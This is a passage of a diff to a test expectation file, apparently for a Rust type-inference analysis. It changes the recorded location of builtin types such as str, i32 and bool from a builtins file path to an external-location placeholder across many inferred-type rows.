file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:742:18:742:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:742:26:742:26 | y | | main.rs:717:5:721:5 | MyEnum | | main.rs:742:26:742:26 | y | A | main.rs:725:5:726:14 | S2 | | main.rs:742:26:742:31 | y.m1() | | main.rs:725:5:726:14 | S2 | @@ -836,9 +838,9 @@ inferType | main.rs:769:15:769:18 | SelfParam | | main.rs:767:5:779:5 | Self [trait MyTrait2] | | main.rs:772:9:778:9 | { ... } | | main.rs:767:20:767:22 | Tr2 | | main.rs:773:13:777:13 | if ... {...} else {...} | | main.rs:767:20:767:22 | Tr2 | -| main.rs:773:16:773:16 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:773:16:773:20 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:773:20:773:20 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:773:16:773:16 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:773:16:773:20 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:773:20:773:20 | 2 | | {EXTERNAL LOCATION} | i32 | | main.rs:773:22:775:13 | { ... } | | main.rs:767:20:767:22 | Tr2 | | main.rs:774:17:774:20 | self | | main.rs:767:5:779:5 | Self [trait MyTrait2] | | main.rs:774:17:774:25 | self.m1() | | main.rs:767:20:767:22 | Tr2 | @@ -848,9 +850,9 @@ inferType | main.rs:783:15:783:18 | SelfParam | | main.rs:781:5:793:5 | Self [trait MyTrait3] | | main.rs:786:9:792:9 | { ... } | | main.rs:781:20:781:22 | Tr3 | | main.rs:787:13:791:13 | if ... {...} else {...} | | main.rs:781:20:781:22 | Tr3 | -| main.rs:787:16:787:16 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:787:16:787:20 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:787:20:787:20 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:787:16:787:16 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:787:16:787:20 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:787:20:787:20 | 2 | | {EXTERNAL LOCATION} | i32 | | main.rs:787:22:789:13 | { ... } | | main.rs:781:20:781:22 | Tr3 | | main.rs:788:17:788:20 | self | | main.rs:781:5:793:5 | Self [trait MyTrait3] | | main.rs:788:17:788:25 | self.m2() | | main.rs:747:5:750:5 | MyThing | @@ -886,7 +888,7 @@ inferType | main.rs:821:17:821:17 | x | | main.rs:819:39:819:53 | T | | main.rs:821:17:821:22 | x.m1() | | main.rs:747:5:750:5 | MyThing | | main.rs:821:17:821:22 | x.m1() | A | main.rs:757:5:758:14 | S1 | -| main.rs:822:18:822:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:822:18:822:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:822:26:822:26 | a | | main.rs:747:5:750:5 | MyThing | | main.rs:822:26:822:26 | a | A | main.rs:757:5:758:14 | S1 | | main.rs:826:13:826:13 | x | | main.rs:747:5:750:5 | MyThing | @@ -899,11 +901,11 @@ inferType | main.rs:827:17:827:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | | main.rs:827:17:827:33 | MyThing {...} | A | main.rs:759:5:760:14 | S2 | | main.rs:827:30:827:31 | S2 | | main.rs:759:5:760:14 | S2 | -| main.rs:829:18:829:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:829:18:829:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:829:26:829:26 | x | | main.rs:747:5:750:5 | MyThing | | main.rs:829:26:829:26 | x | A | main.rs:757:5:758:14 | S1 | | main.rs:829:26:829:31 | x.m1() | | main.rs:757:5:758:14 | S1 | -| main.rs:830:18:830:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:830:18:830:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:830:26:830:26 | y | | main.rs:747:5:750:5 | MyThing | | main.rs:830:26:830:26 | y | A | main.rs:759:5:760:14 | S2 | | main.rs:830:26:830:31 | y.m1() | | main.rs:759:5:760:14 | S2 | @@ -917,11 +919,11 @@ inferType | main.rs:833:17:833:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | | main.rs:833:17:833:33 | MyThing {...} | A | main.rs:759:5:760:14 | S2 | | main.rs:833:30:833:31 | S2 | | main.rs:759:5:760:14 | S2 | -| main.rs:835:18:835:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:835:18:835:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:835:26:835:26 | x | | main.rs:747:5:750:5 | MyThing | | main.rs:835:26:835:26 | x | A | main.rs:757:5:758:14 | S1 | | main.rs:835:26:835:31 | x.m2() | | main.rs:757:5:758:14 | S1 | -| main.rs:836:18:836:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:836:18:836:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:836:26:836:26 | y | | main.rs:747:5:750:5 | MyThing | | main.rs:836:26:836:26 | y | A | main.rs:759:5:760:14 | S2 | | main.rs:836:26:836:31 | y.m2() | | main.rs:759:5:760:14 | S2 | @@ -935,11 +937,11 @@ inferType | main.rs:839:17:839:34 | MyThing2 {...} | | main.rs:752:5:755:5 | MyThing2 | | main.rs:839:17:839:34 | MyThing2 {...} | A | main.rs:759:5:760:14 | S2 | | main.rs:839:31:839:32 | S2 | | main.rs:759:5:760:14 | S2 | -| main.rs:841:18:841:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:841:18:841:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:841:26:841:26 | x | | main.rs:752:5:755:5 | MyThing2 | | main.rs:841:26:841:26 | x | A | main.rs:757:5:758:14 | S1 | | main.rs:841:26:841:31 | x.m3() | | main.rs:757:5:758:14 | S1 | -| main.rs:842:18:842:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:842:18:842:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:842:26:842:26 | y | | main.rs:752:5:755:5 | MyThing2 | | main.rs:842:26:842:26 | y | A | main.rs:759:5:760:14 | S2 | | main.rs:842:26:842:31 | y.m3() | | main.rs:759:5:760:14 | S2 | @@ -978,7 +980,7 @@ inferType | main.rs:880:9:880:16 | x.into() | | main.rs:876:17:876:18 | T2 | | main.rs:884:13:884:13 | x | | main.rs:856:5:857:14 | S1 | | main.rs:884:17:884:18 | S1 | | main.rs:856:5:857:14 | S1 | -| main.rs:885:18:885:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:885:18:885:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:885:26:885:31 | id(...) | | file://:0:0:0:0 | & | | main.rs:885:26:885:31 | id(...) | &T | main.rs:856:5:857:14 | S1 | | main.rs:885:29:885:30 | &x | | file://:0:0:0:0 | & | @@ -986,7 +988,7 @@ inferType | main.rs:885:30:885:30 | x | | main.rs:856:5:857:14 | S1 | | main.rs:887:13:887:13 | x | | main.rs:856:5:857:14 | S1 | | main.rs:887:17:887:18 | S1 | | main.rs:856:5:857:14 | S1 | -| main.rs:888:18:888:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:888:18:888:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:888:26:888:37 | id::<...>(...) | | file://:0:0:0:0 | & | | main.rs:888:26:888:37 | id::<...>(...) | &T | main.rs:856:5:857:14 | S1 | | main.rs:888:35:888:36 | &x | | file://:0:0:0:0 | & | @@ -994,7 +996,7 @@ inferType | main.rs:888:36:888:36 | x | | main.rs:856:5:857:14 | S1 | | main.rs:890:13:890:13 | x | | main.rs:856:5:857:14 | S1 | | main.rs:890:17:890:18 | S1 | | main.rs:856:5:857:14 | S1 | -| main.rs:891:18:891:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:891:18:891:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:891:26:891:44 | id::<...>(...) | | file://:0:0:0:0 | & | | main.rs:891:26:891:44 | id::<...>(...) | &T | main.rs:856:5:857:14 | S1 | | main.rs:891:42:891:43 | &x | | file://:0:0:0:0 | & | @@ -1018,9 +1020,9 @@ inferType | main.rs:912:19:912:22 | self | Fst | main.rs:910:10:910:12 | Fst | | main.rs:912:19:912:22 | self | Snd | main.rs:910:15:910:17 | Snd | | main.rs:913:43:913:82 | MacroExpr | | main.rs:910:15:910:17 | Snd | -| main.rs:913:50:913:81 | "PairNone has no second elemen... | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:913:50:913:81 | "PairNone has no second elemen... | | {EXTERNAL LOCATION} | str | | main.rs:914:43:914:81 | MacroExpr | | main.rs:910:15:910:17 | Snd | -| main.rs:914:50:914:80 | "PairFst has no second element... | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:914:50:914:80 | "PairFst has no second element... | | {EXTERNAL LOCATION} | str | | main.rs:915:37:915:39 | snd | | main.rs:910:15:910:17 | Snd | | main.rs:915:45:915:47 | snd | | main.rs:910:15:910:17 | Snd | | main.rs:916:41:916:43 | snd | | main.rs:910:15:910:17 | Snd | @@ -1040,7 +1042,7 @@ inferType | main.rs:943:17:943:29 | t.unwrapSnd() | Fst | main.rs:924:5:925:14 | S2 | | main.rs:943:17:943:29 | t.unwrapSnd() | Snd | main.rs:927:5:928:14 | S3 | | main.rs:943:17:943:41 | ... .unwrapSnd() | | main.rs:927:5:928:14 | S3 | -| main.rs:944:18:944:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:944:18:944:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:944:26:944:26 | x | | main.rs:927:5:928:14 | S3 | | main.rs:949:13:949:14 | p1 | | main.rs:902:5:908:5 | PairOption | | main.rs:949:13:949:14 | p1 | Fst | main.rs:921:5:922:14 | S1 | @@ -1050,7 +1052,7 @@ inferType | main.rs:949:26:949:53 | ...::PairBoth(...) | Snd | main.rs:924:5:925:14 | S2 | | main.rs:949:47:949:48 | S1 | | main.rs:921:5:922:14 | S1 | | main.rs:949:51:949:52 | S2 | | main.rs:924:5:925:14 | S2 | -| main.rs:950:18:950:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:950:18:950:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:950:26:950:27 | p1 | | main.rs:902:5:908:5 | PairOption | | main.rs:950:26:950:27 | p1 | Fst | main.rs:921:5:922:14 | S1 | | main.rs:950:26:950:27 | p1 | Snd | main.rs:924:5:925:14 | S2 | @@ -1060,7 +1062,7 @@ inferType | main.rs:953:26:953:47 | ...::PairNone(...) | | main.rs:902:5:908:5 | PairOption | | main.rs:953:26:953:47 | ...::PairNone(...) | Fst | main.rs:921:5:922:14 | S1 | | main.rs:953:26:953:47 | ...::PairNone(...) | Snd | main.rs:924:5:925:14 | S2 | -| main.rs:954:18:954:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:954:18:954:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:954:26:954:27 | p2 | | main.rs:902:5:908:5 | PairOption | | main.rs:954:26:954:27 | p2 | Fst | main.rs:921:5:922:14 | S1 | | main.rs:954:26:954:27 | p2 | Snd | main.rs:924:5:925:14 | S2 | @@ -1071,7 +1073,7 @@ inferType | main.rs:957:34:957:56 | ...::PairSnd(...) | Fst | main.rs:924:5:925:14 | S2 | | main.rs:957:34:957:56 | ...::PairSnd(...) | Snd | main.rs:927:5:928:14 | S3 | | main.rs:957:54:957:55 | S3 | | main.rs:927:5:928:14 | S3 | -| main.rs:958:18:958:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:958:18:958:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:958:26:958:27 | p3 | | main.rs:902:5:908:5 | PairOption | | main.rs:958:26:958:27 | p3 | Fst | main.rs:924:5:925:14 | S2 | | main.rs:958:26:958:27 | p3 | Snd | main.rs:927:5:928:14 | S3 | @@ -1081,7 +1083,7 @@ inferType | main.rs:961:35:961:56 | ...::PairNone(...) | | main.rs:902:5:908:5 | PairOption | | main.rs:961:35:961:56 | ...::PairNone(...) | Fst | main.rs:924:5:925:14 | S2 | | main.rs:961:35:961:56 | ...::PairNone(...) | Snd | main.rs:927:5:928:14 | S3 | -| main.rs:962:18:962:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:962:18:962:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:962:26:962:27 | p3 | | main.rs:902:5:908:5 | PairOption | | main.rs:962:26:962:27 | p3 | Fst | main.rs:924:5:925:14 | S2 | | main.rs:962:26:962:27 | p3 | Snd | main.rs:927:5:928:14 | S3 | @@ -1129,7 +1131,7 @@ inferType | main.rs:999:40:999:40 | x | T | main.rs:995:10:995:10 | T | | main.rs:1008:13:1008:14 | x1 | | main.rs:969:5:973:5 | MyOption | | main.rs:1008:18:1008:37 | ...::new(...) | | main.rs:969:5:973:5 | MyOption | -| main.rs:1009:18:1009:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1009:18:1009:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1009:26:1009:27 | x1 | | main.rs:969:5:973:5 | MyOption | | main.rs:1011:13:1011:18 | mut x2 | | main.rs:969:5:973:5 | MyOption | | main.rs:1011:13:1011:18 | mut x2 | T | main.rs:1004:5:1005:13 | S | @@ -1138,14 +1140,14 @@ inferType | main.rs:1012:9:1012:10 | x2 | | main.rs:969:5:973:5 | MyOption | | main.rs:1012:9:1012:10 | x2 | T | main.rs:1004:5:1005:13 | S | | main.rs:1012:16:1012:16 | S | | main.rs:1004:5:1005:13 | S | -| main.rs:1013:18:1013:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1013:18:1013:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1013:26:1013:27 | x2 | | main.rs:969:5:973:5 | MyOption | | main.rs:1013:26:1013:27 | x2 | T | main.rs:1004:5:1005:13 | S | | main.rs:1015:13:1015:18 | mut x3 | | main.rs:969:5:973:5 | MyOption | | main.rs:1015:22:1015:36 | ...::new(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1016:9:1016:10 | x3 | | main.rs:969:5:973:5 | MyOption | | main.rs:1016:21:1016:21 | S | | main.rs:1004:5:1005:13 | S | -| main.rs:1017:18:1017:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1017:18:1017:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1017:26:1017:27 | x3 | | main.rs:969:5:973:5 | MyOption | | main.rs:1019:13:1019:18 | mut x4 | | main.rs:969:5:973:5 | MyOption | | main.rs:1019:13:1019:18 | mut x4 | T | main.rs:1004:5:1005:13 | S | @@ -1157,7 +1159,7 @@ inferType | main.rs:1020:28:1020:29 | x4 | | main.rs:969:5:973:5 | MyOption | | main.rs:1020:28:1020:29 | x4 | T | main.rs:1004:5:1005:13 | S | | main.rs:1020:32:1020:32 | S | | main.rs:1004:5:1005:13 | S | -| main.rs:1021:18:1021:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1021:18:1021:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1021:26:1021:27 | x4 | | main.rs:969:5:973:5 | MyOption | | main.rs:1021:26:1021:27 | x4 | T | main.rs:1004:5:1005:13 | S | | main.rs:1023:13:1023:14 | x5 | | main.rs:969:5:973:5 | MyOption | @@ -1168,7 +1170,7 @@ inferType | main.rs:1023:18:1023:58 | ...::MySome(...) | T.T | main.rs:1004:5:1005:13 | S | | main.rs:1023:35:1023:57 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1023:35:1023:57 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | -| main.rs:1024:18:1024:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1024:18:1024:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1024:26:1024:27 | x5 | | main.rs:969:5:973:5 | MyOption | | main.rs:1024:26:1024:27 | x5 | T | main.rs:969:5:973:5 | MyOption | | main.rs:1024:26:1024:27 | x5 | T.T | main.rs:1004:5:1005:13 | S | @@ -1182,7 +1184,7 @@ inferType | main.rs:1026:18:1026:58 | ...::MySome(...) | T.T | main.rs:1004:5:1005:13 | S | | main.rs:1026:35:1026:57 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1026:35:1026:57 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | -| main.rs:1027:18:1027:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1027:18:1027:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1027:26:1027:61 | ...::flatten(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1027:26:1027:61 | ...::flatten(...) | T | main.rs:1004:5:1005:13 | S | | main.rs:1027:59:1027:60 | x6 | | main.rs:969:5:973:5 | MyOption | @@ -1192,9 +1194,9 @@ inferType | main.rs:1030:13:1030:19 | from_if | T | main.rs:1004:5:1005:13 | S | | main.rs:1030:23:1034:9 | if ... {...} else {...} | | main.rs:969:5:973:5 | MyOption | | main.rs:1030:23:1034:9 | if ... {...} else {...} | T | main.rs:1004:5:1005:13 | S | -| main.rs:1030:26:1030:26 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1030:26:1030:30 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1030:30:1030:30 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1030:26:1030:26 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1030:26:1030:30 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1030:30:1030:30 | 2 | | {EXTERNAL LOCATION} | i32 | | main.rs:1030:32:1032:9 | { ... } | | main.rs:969:5:973:5 | MyOption | | main.rs:1030:32:1032:9 | { ... } | T | main.rs:1004:5:1005:13 | S | | main.rs:1031:13:1031:30 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | @@ -1204,39 +1206,39 @@ inferType | main.rs:1033:13:1033:31 | ...::MySome(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1033:13:1033:31 | ...::MySome(...) | T | main.rs:1004:5:1005:13 | S | | main.rs:1033:30:1033:30 | S | | main.rs:1004:5:1005:13 | S | -| main.rs:1035:18:1035:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1035:18:1035:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1035:26:1035:32 | from_if | | main.rs:969:5:973:5 | MyOption | | main.rs:1035:26:1035:32 | from_if | T | main.rs:1004:5:1005:13 | S | | main.rs:1038:13:1038:22 | from_match | | main.rs:969:5:973:5 | MyOption | | main.rs:1038:13:1038:22 | from_match | T | main.rs:1004:5:1005:13 | S | | main.rs:1038:26:1041:9 | match ... { ... } | | main.rs:969:5:973:5 | MyOption | | main.rs:1038:26:1041:9 | match ... { ... } | T | main.rs:1004:5:1005:13 | S | -| main.rs:1038:32:1038:32 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1038:32:1038:36 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1038:36:1038:36 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1039:13:1039:16 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1038:32:1038:32 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1038:32:1038:36 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1038:36:1038:36 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1039:13:1039:16 | true | | {EXTERNAL LOCATION} | bool | | main.rs:1039:21:1039:38 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1039:21:1039:38 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | -| main.rs:1040:13:1040:17 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1040:13:1040:17 | false | | {EXTERNAL LOCATION} | bool | | main.rs:1040:22:1040:40 | ...::MySome(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1040:22:1040:40 | ...::MySome(...) | T | main.rs:1004:5:1005:13 | S | | main.rs:1040:39:1040:39 | S | | main.rs:1004:5:1005:13 | S | -| main.rs:1042:18:1042:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1042:18:1042:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1042:26:1042:35 | from_match | | main.rs:969:5:973:5 | MyOption | | main.rs:1042:26:1042:35 | from_match | T | main.rs:1004:5:1005:13 | S | | main.rs:1045:13:1045:21 | from_loop | | main.rs:969:5:973:5 | MyOption | | main.rs:1045:13:1045:21 | from_loop | T | main.rs:1004:5:1005:13 | S | | main.rs:1045:25:1050:9 | loop { ... } | | main.rs:969:5:973:5 | MyOption | | main.rs:1045:25:1050:9 | loop { ... } | T | main.rs:1004:5:1005:13 | S | -| main.rs:1046:16:1046:16 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1046:16:1046:20 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1046:20:1046:20 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1046:16:1046:16 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1046:16:1046:20 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1046:20:1046:20 | 2 | | {EXTERNAL LOCATION} | i32 | | main.rs:1047:23:1047:40 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1047:23:1047:40 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | | main.rs:1049:19:1049:37 | ...::MySome(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1049:19:1049:37 | ...::MySome(...) | T | main.rs:1004:5:1005:13 | S | | main.rs:1049:36:1049:36 | S | | main.rs:1004:5:1005:13 | S | -| main.rs:1051:18:1051:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1051:18:1051:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1051:26:1051:34 | from_loop | | main.rs:969:5:973:5 | MyOption | | main.rs:1051:26:1051:34 | from_loop | T | main.rs:1004:5:1005:13 | S | | main.rs:1064:15:1064:18 | SelfParam | | main.rs:1057:5:1058:19 | S | @@ -1272,7 +1274,7 @@ inferType | main.rs:1078:18:1078:22 | S(...) | | main.rs:1057:5:1058:19 | S | | main.rs:1078:18:1078:22 | S(...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1078:20:1078:21 | S2 | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1079:18:1079:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1079:18:1079:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1079:26:1079:27 | x1 | | main.rs:1057:5:1058:19 | S | | main.rs:1079:26:1079:27 | x1 | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1079:26:1079:32 | x1.m1() | | main.rs:1060:5:1061:14 | S2 | @@ -1281,12 +1283,12 @@ inferType | main.rs:1081:18:1081:22 | S(...) | | main.rs:1057:5:1058:19 | S | | main.rs:1081:18:1081:22 | S(...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1081:20:1081:21 | S2 | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1083:18:1083:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1083:18:1083:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1083:26:1083:27 | x2 | | main.rs:1057:5:1058:19 | S | | main.rs:1083:26:1083:27 | x2 | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1083:26:1083:32 | x2.m2() | | file://:0:0:0:0 | & | | main.rs:1083:26:1083:32 | x2.m2() | &T | main.rs:1060:5:1061:14 | S2 | -| main.rs:1084:18:1084:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1084:18:1084:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1084:26:1084:27 | x2 | | main.rs:1057:5:1058:19 | S | | main.rs:1084:26:1084:27 | x2 | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1084:26:1084:32 | x2.m3() | | file://:0:0:0:0 | & | @@ -1296,7 +1298,7 @@ inferType | main.rs:1086:18:1086:22 | S(...) | | main.rs:1057:5:1058:19 | S | | main.rs:1086:18:1086:22 | S(...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1086:20:1086:21 | S2 | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1088:18:1088:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1088:18:1088:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1088:26:1088:41 | ...::m2(...) | | file://:0:0:0:0 | & | | main.rs:1088:26:1088:41 | ...::m2(...) | &T | main.rs:1060:5:1061:14 | S2 | | main.rs:1088:38:1088:40 | &x3 | | file://:0:0:0:0 | & | @@ -1304,7 +1306,7 @@ inferType | main.rs:1088:38:1088:40 | &x3 | &T.T | main.rs:1060:5:1061:14 | S2 | | main.rs:1088:39:1088:40 | x3 | | main.rs:1057:5:1058:19 | S | | main.rs:1088:39:1088:40 | x3 | T | main.rs:1060:5:1061:14 | S2 | -| main.rs:1089:18:1089:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1089:18:1089:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1089:26:1089:41 | ...::m3(...) | | file://:0:0:0:0 | & | | main.rs:1089:26:1089:41 | ...::m3(...) | &T | main.rs:1060:5:1061:14 | S2 | | main.rs:1089:38:1089:40 | &x3 | | file://:0:0:0:0 | & | @@ -1321,13 +1323,13 @@ inferType | main.rs:1091:19:1091:23 | S(...) | | main.rs:1057:5:1058:19 | S | | main.rs:1091:19:1091:23 | S(...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1091:21:1091:22 | S2 | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1093:18:1093:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1093:18:1093:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1093:26:1093:27 | x4 | | file://:0:0:0:0 | & | | main.rs:1093:26:1093:27 | x4 | &T | main.rs:1057:5:1058:19 | S | | main.rs:1093:26:1093:27 | x4 | &T.T | main.rs:1060:5:1061:14 | S2 | | main.rs:1093:26:1093:32 | x4.m2() | | file://:0:0:0:0 | & | | main.rs:1093:26:1093:32 | x4.m2() | &T | main.rs:1060:5:1061:14 | S2 | -| main.rs:1094:18:1094:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1094:18:1094:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1094:26:1094:27 | x4 | | file://:0:0:0:0 | & | | main.rs:1094:26:1094:27 | x4 | &T | main.rs:1057:5:1058:19 | S | | main.rs:1094:26:1094:27 | x4 | &T.T | main.rs:1060:5:1061:14 | S2 | @@ -1342,12 +1344,12 @@ inferType | main.rs:1096:19:1096:23 | S(...) | | main.rs:1057:5:1058:19 | S | | main.rs:1096:19:1096:23 | S(...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1096:21:1096:22 | S2 | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1098:18:1098:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1098:18:1098:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1098:26:1098:27 | x5 | | file://:0:0:0:0 | & | | main.rs:1098:26:1098:27 | x5 | &T | main.rs:1057:5:1058:19 | S | | main.rs:1098:26:1098:27 | x5 | &T.T | main.rs:1060:5:1061:14 | S2 | | main.rs:1098:26:1098:32 | x5.m1() | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1099:18:1099:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1099:18:1099:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1099:26:1099:27 | x5 | | file://:0:0:0:0 | & | | main.rs:1099:26:1099:27 | x5 | &T | main.rs:1057:5:1058:19 | S | | main.rs:1099:26:1099:27 | x5 | &T.T | main.rs:1060:5:1061:14 | S2 | @@ -1361,7 +1363,7 @@ inferType | main.rs:1101:19:1101:23 | S(...) | | main.rs:1057:5:1058:19 | S | | 